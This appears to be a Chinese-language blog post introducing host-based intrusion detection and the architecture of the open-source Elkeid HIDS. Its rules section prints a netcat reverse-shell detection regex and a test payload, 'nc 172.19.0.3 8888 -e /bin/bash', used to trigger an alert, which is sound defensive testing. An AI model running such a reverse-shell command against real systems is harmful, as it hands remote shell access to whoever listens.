目錄
- 概述
- 什么是HIDS
- HIDS與NIDS的區別
- EDR、XDR是啥?
- Elkeid
- 架構
- Elkeid Agent && Agent center
- Elkeid Driver
- Elkeid RASP
- Elkeid HUB
- Service Discovery
- Manager
- 安裝
- 數據采集
- 規則&告警
- 參考
概述
什么是HIDS
HIDS( host-based intrusion detection system,基于主機的入侵檢測系統),通過監測主機上的進程、文件、網絡等信息來識別入侵風險。
HIDS與NIDS的區別
NIDS基于網絡流量來進行入侵檢測,和HIDS相比,實時性更高,對主機沒有性能影響。一般裝在網關等地方獲取鏡像流量即可,無需安裝在每臺主機節點,開源NIDS有Suricata等。
EDR、XDR是啥?
EDR(Endpoint Detection and Response,端點檢測與響應),相較于傳統的HIDS,EDR增加了響應的部分,例如添加SOAR(security orchestration, automation and response,安全編排、自動化與響應系統)、止損手段。
XDR( eXtended Detection and Response ,可擴展檢測與響應),相較于EDR,能夠結合多個數據源(云原生安全、電子郵件安全等)。
Elkeid
架構
- Elkeid Agent:代理,與Manager節點通信,負責上傳日志等信息,管理組件。
- Elkeid Driver:負責 Linux Kernel 層采集數據,兼容容器,并能夠檢測常見 Rootkit。
- Elkeid RASP:支持 CPython、Golang、JVM、NodeJS、PHP 的運行時數據采集探針,支持動態注入到運行時。
- Elkeid HUB:策略引擎。
- AgentCenter:收集Agent 數據,寫入到消息隊列,給Agent下發指令。
- ServiceDiscovery:服務發現。
- 實時計算模塊:消費消息隊列數據,進行分析和檢測。
- 離線計算模塊:消費消息隊列數據
- Manager:管理各個模塊。
Elkeid Agent && Agent center
參考關于 Elkeid Agent
Agent具有數據通信、資源監控、組件版本控制、文件傳輸、機器基礎信息采集等功能。
Agent擁有多個Plugins,是Agent的插件,Agent的子進程,可以由多種語言實現。
- Driver Plugin: 負責與 Elkeid Driver 通信,處理其傳遞的數據等
- Collector Plugin: 負責端上的資產/關鍵信息采集工作,如用戶,定時任務,包信息等
- Journal Watcher: 負責監測systemd日志的插件,目前支持ssh相關日志采集與上報
- Scanner Plugin:負責在端上進行靜態檢測惡意文件的插件,支持
- Yara RASP Plugin: 分析系統進程運行時,上報運行時信息,處理下發的Attach 指令,收集各個探針上報的數據
- Baseline Plugin: 負責在端上進行基線風險識別的插件
Agent Center基于gRPC + ProtoBuf通信,具有以下功能
- 限流:最大鏈接數保護
- 負載均衡:SD服務發現+Manager動態控制
- 通信鏈路安全:SSL+HTTPS
- 上報數據Kafka
Elkeid Driver
參考關于 Elkeid Driver
Elkeid Driver 主要通過 Kprobe Hook Kernel Function 來提供豐富而準確的數據收集功能,包括內核級進程執行探測,特權升級監控,網絡審計等等。,并且支持 Linux Namespace。
主要是Plugins、Hook、Filter、Anti-Rootkit四個功能。
Elkeid RASP
參考Golang-RASP
RASP(Runtime application self-protection,實時應用自我防護),通過探針的方式注入到應用中,在運行時實時防護。
Elkeid HUB
參考:Elkeid HUB
- INPUT 數據輸入層,社區版僅支持Kafka
- RULEENGINE/RULESET 對數據進行檢測/外部數據聯動/數據處理的核心組件
- OUTPUT 數據輸出層,社區版僅支持Kafka/ES
- SMITH_DSL 用來描述數據流轉關系
Service Discovery
服務發現,發現Agent。
負載均衡,
Manager
任務下發,分布式任務分發系統。
安裝
根據Elkeid 完整部署進行部署。
數據采集
參考:數據接入指南
規則&告警
參考:HIDS開源策略列表
以hids_detect的reverse_shell_detect_argv為例,正則如下:
(?:\bnc(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)|\bnc.openbsd(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)|\bnc.traditional(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)|\bnc.linux(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)|\bnetcat(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*))
攻擊payload如下:
nc 172.19.0.3 8888 -e /bin/bash
告警如下:
配置了一個企微機器人,收到消息:
參考
HIDS與NIDS的區別
crowdstrike-EDR
paloalto-XDR
五款流行開源的 HIDS 系統簡單介紹
最后的防線:三款開源HIDS應用對比評估
騰訊自研HIDS「洋蔥」后臺上云架構演進實踐
github-ossec
github-yulong-hids-archived
github-Elkeid
wazuh
github-wazuh
開源安全平臺Wazuh的部署與體驗
tripwire
suricate
github-suricata
奇安信-終端安全響應系統(EDR)